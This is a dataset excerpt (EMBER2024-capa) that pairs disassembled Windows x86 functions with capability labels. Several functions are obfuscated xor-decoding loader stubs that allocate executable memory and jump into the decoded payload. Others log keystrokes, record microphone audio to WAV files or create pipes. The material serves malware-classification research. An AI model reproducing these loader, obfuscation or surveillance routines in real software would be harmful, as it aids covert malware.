joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4070d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4070e3
pop dword [ebp - 0x50]
mov eax, 0xe7bbd930
sub eax, 0xe77b684d
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xea7905e9
sub dword [ebp - 0x60], 0x9c26c09e
mov dword [ebp - 0x5c], 0x66c3bebd
add dword [ebp - 0x5c], 0xcb6f8d88
mov dword [ebp - 0x58], 0x8fb56c8b
add dword [ebp - 0x58], 0xbc96d7a3
mov dword [ebp - 0x54], 0x8d03b85c
sub dword [ebp - 0x54], 0x8d03b85c
lea eax, [ebp - 0x60]
push eax
mov eax, 0xf72f5dd5
add eax, 0x911232f
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x7c824b4d
sub dword [ebp - 0x60], 0x80fe1f7
mov dword [ebp - 0x5c], 0x450a932c
add dword [ebp - 0x5c], 0xfc61ce49
mov dword [ebp - 0x58], 0xaf394969
sub dword [ebp - 0x58], 0x4bc9dcfd
mov dword [ebp - 0x54], 0x3b6245e6
sub dword [ebp - 0x54], 0x3b6245e6
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x34d04
push 0
call eax
mov ecx, 0x65972c38
add ecx, 0x9a6912ce
mov edi, eax
mov ebx, 0x454200
add ebx, dword [ebp - 0x50]
mov edx, 0x7e7c5249
sub edx, 0xcfb7ac9d
mov esi, dword [ebx]
mov dword [ebp - 0x2c], 0x4c682f83
xor esi, edx
add dword [ebp - 0x40], ecx
mov dword [edi], esi
xor dword [ebp - 0x3c], 0xff95472a
add edi, 0x706e6bee
sub edi, 0x706e6bea
add ebx, 0x52643a68
sub ebx, 0x52643a64
loop 0x4071fa
add eax, 0xbd4eb2a1
add eax, 0x42b23c4a
xor ebx, ebx
add ebx, eax
add eax, 0xbcfe92f5
sub eax, 0xbcfe92f0
mov ecx, 0xe31ebf04
sub ecx, 0xe2debf04
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1001ff20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1001ff2f
pop dword [ebp - 0x44]
mov eax, 0x79e14d0a
add eax, 0x9620b225
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x5a40b178
sub dword [ebp - 0x54], 0xbee6c2d
mov dword [ebp - 0x50], 0xf81cb2b7
sub dword [ebp - 0x50], 0xc5e96672
mov dword [ebp - 0x4c], 0xb8fc4f89
add dword [ebp - 0x4c], 0x934ff4a5
mov dword [ebp - 0x48], 0x5807e87f
sub dword [ebp - 0x48], 0x5807e87f
lea eax, [ebp - 0x54]
push eax
mov eax, 0x5a00bccc
add eax, 0xb60e7444
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x41cf4a33
sub dword [ebp - 0x54], 0xcd5ce0dd
mov dword [ebp - 0x50], 0x9d1ade7e
sub dword [ebp - 0x50], 0x5bae7d09
mov dword [ebp - 0x4c], 0xdd69e827
add dword [ebp - 0x4c], 0x86058445
mov dword [ebp - 0x48], 0x6bb6106f
sub dword [ebp - 0x48], 0x6bb6106f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x2153797d
add eax, 0xeebbb72b
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x836fa
push 0
call eax
mov ecx, 0x8bb74782
add ecx, 0x7448f721
mov edx, eax
mov esi, 0x10136a00
add esi, dword [ebp - 0x44]
mov ebx, 0x9c2a3582
sub dword [ebp - 0x14], 0x7b08d556
mov edi, dword [esi]
xor dword [ebp - 0x28], 0x377fd732
sub edi, ebx
xor dword [ebp - 0x14], 0xe24f165
mov dword [edx], edi
add dword [ebp - 0x40], 0x7d8be136
add edx, 0x9cedbc9b
add edx, 0x63124369
add esi, 4
loop 0x10020045
add eax, 0x64833d81
sub eax, 0x64825022
mov ebx, eax
add eax, 0xab47c4a9
sub eax, 0xab47c4a4
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x1005ad60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x101258d4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1005ad90
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e5f10
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x1005adc0
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x1005adc0
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e5f10
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1005aebe
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x1005ade9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1005ae1d
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e5f10
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x1005ae7c
sub eax, 1
je 0x1005ae7c
sub eax, 2
jne 0x1005aebe
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.1001ff20
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e5f10
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1005ae9d
lfence
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1005aebe
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1005aebe
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e5f10
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100e5f10
mov esp, ebp
pop ebp
ret 4
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40d7cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40d7de
pop dword [ebp - 0x38]
mov eax, 0x65263316
add eax, 0x9b1aa4c8
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x373bf
push 0
mov eax, 0xbc1c6960
add eax, 0x44247778
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0xde281d79
add ecx, 0x21d8229c
xor edx, edx
add edx, eax
mov ebx, 0x5aa0038d
add ebx, 0xa5a13837
add ebx, dword [ebp - 0x38]
mov esi, 0x1b52b575
sub esi, 0x46aecccc
xor dword [ebp - 0x34], 0x30a15b79
mov edi, dword [ebx]
xor dword [ebp - 8], esi
xor edi, esi
sub dword [ebp - 0xc], 0x87262582
mov dword [edx], edi
sub dword [ebp - 0x34], 0x5c7228fb
add edx, 0x16f72592
add edx, 0xe908da72
add ebx, 0xb753b727
add ebx, 0x48ac48dd
loop 0x40d83f
add eax, 0x7e64a5ba
sub eax, 0x7e63b293
mov ebx, eax
add eax, 0xa5101458
sub eax, 0xa5101453
mov ecx, 0x2d93a300
add ecx, 0xd2ac5d00
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x29807350
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x29877b48]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x29807376
xor eax, eax
jmp 0x29807433
mov eax, dword [esi + 0x20]
cmp dword [eax], 0
je 0x29807398
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, dword [eax]
cmp dword [eax], edx
jae 0x29807398
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov byte [eax], bl
mov eax, ebx
jmp 0x29807433
cmp dword [esi + 0x4c], 0
je 0x29807431
call fcn.29806b4d
mov ecx, dword [esi + 0x38]
mov al, bl
test ecx, ecx
jne 0x298073c2
push dword [esi + 0x4c]
push eax
call fcn.298273e1
test al, al
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x29807431
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x298073ff
sub eax, 1
je 0x298073ff
dec eax
sub eax, 1
jne 0x29807431
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x298073b4
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x30], eax
je 0x29807423
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x29807431
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
mov eax, ebx
jne 0x29807433
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.29801ca0
leave
ret 4
Function at 0x29827184
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x29855122
call fcn.298516be
mov edx, dword [ebp + 0xc]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 0x42c], edx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test eax, eax
je 0x298273a5
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push 2
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
call fcn.298273e1
add esp, 0x10
test eax, eax
js 0x2982739f
mov edi, dword [ebp - 0x420]
cmp edi, 0x400
jg 0x29827228
push edi
call fcn.298281ed
pop ecx
test al, al
je 0x29827228
mov eax, edi
call fcn.29851dd0
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x2982723a
push edi
lea ecx, [ebp - 0x424]
call fcn.298273e1
mov esi, dword [ebp - 0x424]
push 3
push edi
push dword [ebp - 0x41c]
push eax
call fcn.298273e1
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x2982739f
push 0x60
push ebx
push eax
call fcn.29828560
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x29827292
push 2
push ebx
push dword [ebp - 0x41c]
call fcn.29828560
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x29827292
call fcn.29825408
mov ebx, eax
jmp 0x2982736e
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x298272b9
call fcn.29825408
jmp 0x29827361
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x298272af
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x41c], eax
lea ecx, [eax + 1]
cmp ecx, eax
jae 0x298272ec
mov ebx, 0x8007000e
jmp 0x29827363
push ecx
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.298273e1
jmp 0x29827312
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x298272e5
mov eax, dword [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
push eax
push dword [ebp - 0x418]
call fcn.298273e1
mov eax, dword [ebp - 0x418]
add esp, 0x10
mov ecx, dword [ebp - 0x41c]
push dword [ebp + 0x14]
mov byte [eax + ecx], bl
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.298273e1
mov ebx, eax
test edi, edi
je 0x2982736e
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x29827387
lea ecx, [ebp - 0x418]
call fcn.29825fb4
or dword [ebp - 4], 0xffffffff
jmp 0x29827397
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x2982738d
mov eax, ebx
jmp 0x298273d3
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x298273ba
lea ecx, [ebp - 0x418]
call fcn.29825fb4
or dword [ebp - 4], 0xffffffff
jmp 0x298273ca
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x298273c0
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.29851676
ret 0x10
Function at 0x298273e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x298273f0
pop dword [ebp - 0x40]
mov eax, 0x827fc97
sub eax, 0xdea588a7
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xfa95197e
sub dword [ebp - 0x50], 0xac42d433
mov dword [ebp - 0x4c], 0x10760d2c
add dword [ebp - 0x4c], 0x21bd3f19
mov dword [ebp - 0x48], 0x3a4f6404
add dword [ebp - 0x48], 0x11fce02a
mov dword [ebp - 0x44], 0x5a937502
add dword [ebp - 0x44], 0xa56c8afe
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x9e7661b0
sub dword [ebp - 0x50], 0x2a03f85a
mov dword [ebp - 0x4c], 0xd4ad6595
sub dword [ebp - 0x4c], 0x93410420
mov dword [ebp - 0x48], 0xcbe7c31d
add dword [ebp - 0x48], 0x9787a94f
mov dword [ebp - 0x44], 0xa8bf99f3
add dword [ebp - 0x44], 0x5740660d
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xe15e5cb7
sub eax, 0xb7d8dbff
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x4ce83
push 0
call eax
mov ecx, 0x9b6c6e6
sub ecx, 0x9b66c2e
mov ebx, eax
mov edx, 0x51ed9007
sub edx, 0x28641c07
add edx, dword [ebp - 0x40]
mov edi, 0x7ff8e72a
sub edi, 0xf9d887f7
xor dword [ebp - 0x20], ebx
mov esi, dword [edx]
add dword [ebp - 0x30], esi
xor esi, edi
xor dword [ebp - 0x10], edx
mov dword [ebx], esi
add ebx, 4
add edx, 0x6bd961ae
add edx, 0x94269e56
loop 0x2982750d
add eax, 0xeb4ed5cf
sub eax, 0xeb4d781c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x86d570c5
sub ecx, 0x5d5570c5
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x10039f0d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10039f1c
pop dword [ebp - 0x24]
mov eax, 0xf02a0352
add eax, 0x1fd99bca
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xceedc2ac
sub dword [ebp - 0x34], 0x809b7d61
mov dword [ebp - 0x30], 0x1fc74eda
add dword [ebp - 0x30], 0x126bfd6b
mov dword [ebp - 0x2c], 0x4d05f73b
add dword [ebp - 0x2c], 0xff464cf3
mov dword [ebp - 0x28], 0x6262cba8
add dword [ebp - 0x28], 0x9d9d3458
lea eax, [ebp - 0x34]
push eax
mov eax, 0xc80897fc
sub eax, 0xb80446f8
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x798a932f
add dword [ebp - 0x34], 0xfae7d627
mov dword [ebp - 0x30], 0x7b5cfc22
sub dword [ebp - 0x30], 0x39f09aad
mov dword [ebp - 0x2c], 0xbd0d83c9
add dword [ebp - 0x2c], 0xa661e8a3
mov dword [ebp - 0x28], 0xb2eee3f3
add dword [ebp - 0x28], 0x4d111c0d
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xa47cdac9
add eax, 0x6b8775ef
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x4f3f4
push 0
call eax
mov ecx, 0x4944cb0a
sub ecx, 0x49447123
xor esi, esi
add esi, eax
mov edx, 0x8f33e7c9
add edx, 0x80d36837
add edx, dword [ebp - 0x24]
mov ebx, 0xea7535da
sub ebx, 0x9692add5
xor dword [ebp - 0x10], 0x801b3774
mov edi, dword [edx]
sub dword [ebp - 0x14], edx
sub edi, ebx
mov dword [ebp - 0x20], 0x56d34848
mov dword [esi], edi
add esi, 0x56471630
sub esi, 0x5647162c
add edx, 4
loop 0x1003a040
add eax, 0x15a6f
mov ebx, eax
add eax, 0x615c27e9
add eax, 0x9ea3d81c
mov ecx, 0x68737d5a
sub ecx, 0x58737d5a
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4010e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x437004]
jne 0x4010f2
repz ret
jmp fcn.004017b3

Function at 0x40625b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x437004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004043ad
and dword [ebp - 0x14], 0
cmp dword [0x439c88], 0
mov dword [ebp - 0x18], eax
jne 0x40630e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4063b6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4063b6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x439c88], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x439c8c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x439c90], eax
call edi
push eax
call esi
mov dword [0x439c98], eax
test eax, eax
je 0x40630e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x439c94], eax
mov eax, dword [0x439c94]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x406367
cmp dword [0x439c98], ecx
je 0x406367
push eax
call esi
push dword [0x439c98]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x406367
test ebx, ebx
je 0x406367
call edi
test eax, eax
je 0x40635e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40635e
test byte [ebp - 8], 1
jne 0x406367
or dword [ebp + 0x10], 0x200000
jmp 0x40639a
mov eax, dword [0x439c8c]
cmp eax, dword [ebp - 0x18]
je 0x40639a
push eax
call esi
test eax, eax
je 0x40639a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40639a
mov eax, dword [0x439c90]
cmp eax, dword [ebp - 0x18]
je 0x40639a
push eax
call esi
test eax, eax
je 0x40639a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x439c88]
call esi
test eax, eax
je 0x4063b6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4063b8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010e8
leave
ret
Function at 0x4320b0
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x4320c4
call fcn.00432030
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x4320b7
pop esi
cmp ebx, 0x2d
jne 0x4320de
mov dword [0x2bdf6e8], 0xa62e7790
mov dword [0x2bdf6ec], 0xffffffff
ret

Function at 0x4320e0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x437004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x438200]
push ebx
mov ebx, dword [0x2bdf6dc]
push edi
mov edi, dword [0x2bdd25c]
call fcn.00432080
cmp dword [0x2bdf6dc], 0x2f
jne 0x43214d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.004320b0
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.004010e8
add esp, 0x24
ret
Function at 0x40170f
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
lea eax, [esp + 0x14]
push ecx
pop esi
push eax
mov ecx, 0x474d98
push edx
pop edi
call fcn.00401fc0
mov edx, dword [esp + 0x10]
xor eax, eax
inc eax
movzx ebx, di
mov word [0x472aa8], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x472aac], edx
mov word [0x472ab6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x472aaa], si
addsd xmm0, qword [edx*8 + 0x46d2a0]
mov dword [0x472ab0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x472ab8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x40186a
push 0x472aa8
push 0xffffffffffffffff
push 0x472ac8
mov word [0x472ab4], cx
mulss xmm0, dword [0x46d24c]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x472abc], eax
mov dword [0x472a80], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
push esi
pop ecx
call fcn.004017ec
inc esi
cmp esi, 2
jb 0x4017c7
push dword [0x472ac8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [esp + 0xc]
pop ebx
jmp fcn.00401fd8

Function at 0x4017ec
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x472a80]
push ecx
pop esi
mov ebp, 0x474d58
push esi
push ebp
pop ecx
call fcn.00401e65
push eax
pop ecx
call fcn.00401f9d
mov edi, dword [0x474d94]
push esi
pop ebx
shl ebx, 5
push ebp
pop ecx
push esi
add edi, ebx
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
mov dword [edi], eax
mov eax, dword [0x472a80]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x472ac8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x474d94]
push 0x20
add eax, ebx
push eax
push dword [0x472ac8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x401a6d
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
movzx esi, word [0x472ab6]
push edx
pop ebx
push edi
movzx edi, word [0x472aaa]
xor ebp, ebp
imul esi, edi
push ebp
push 0x80
push 2
push ebp
push esi
pop eax
mov dword [esp + 0x2c], 1
imul eax, dword [0x472aac]
push ebp
push 0x40000000
push ecx
mov dword [esp + 0x34], 0x10
shr eax, 3
mov dword [esp + 0x3c], eax
push esi
pop eax
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
imul eax, edi
mov dword [esp + 0x44], eax
add eax, 0x24
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push eax
pop edi
cmp edi, 0xffffffff
jne 0x401aed
xor al, al
jmp 0x401be1
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea eax, [esp + 0x10]
push ebp
push eax
push 4
pop ebp
push ebp
push 0x465de0
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.WAVE
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.fmt
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x28]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x472aaa
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push 0x472aac
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x30]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x472ab6
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.data
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x34]
push eax
push edi
call esi
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret